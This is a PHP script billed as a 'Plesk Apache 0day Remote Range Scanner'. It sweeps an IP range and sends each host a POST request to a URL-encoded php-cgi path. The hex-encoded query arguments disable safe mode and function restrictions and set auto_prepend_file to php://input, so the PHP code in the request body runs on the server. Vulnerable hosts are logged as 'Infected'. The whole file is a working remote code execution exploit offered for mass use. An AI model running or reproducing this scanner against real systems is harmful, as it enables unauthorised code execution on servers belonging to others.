Plesk Apache (8.6,9.x) 0day Remote Range Scanner

<?php
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet,$cmd)
{

    if (($sock = fsockopen($host, 80))){
    fputs($sock, $packet);
    return stream_get_contents($sock);
    }
}
print "\n+----------------------------------------------------------------------+";
print "\n| Plesk Apache (8.6,9.x) 0day Remote Range Scanner By Black-ID         |";
print "\n+----------------------------------------------------------------------+\n";
if ($argc < 2)
{
    print "\nUsage......: php $argv[0] <Start Ip> <End Ip>\n";
    print "\nExample....: php $argv[0] 192.168.1.1 192.168.2.255\n";
    die();
}

$start = ip2long($argv[1]);
$end = ip2long($argv[2]);

for($ip=$start; $ip<=$end; $ip++)
{
    $host =  long2ip($ip);
    $payload = '<?php echo "Content-Type:text/html\r\n\r\n";echo "___2pac\n"; ?>';
    $arguments = "%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E";
    $path = "%70%68%70%70%61%74%68/%70%68%70";

    $packet  = "POST /{$path}?{$arguments} HTTP/1.1\r\n";
    $packet .= "Host: {$host}\r\n";
    $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $packet .= "Content-Length: ".strlen($payload)."\r\n\r\n{$payload}";
    $response = http_send($host,$packet);
    if(preg_match('/___2pac/', $response, $m)){
    print "[+] $host Infected\n";
    $log = fopen("log.txt","a");
    fwrite($log,"$host\n");
    fclose($log);
    }else{
    print "[-] $host Not Infected\n";
    }
}
?>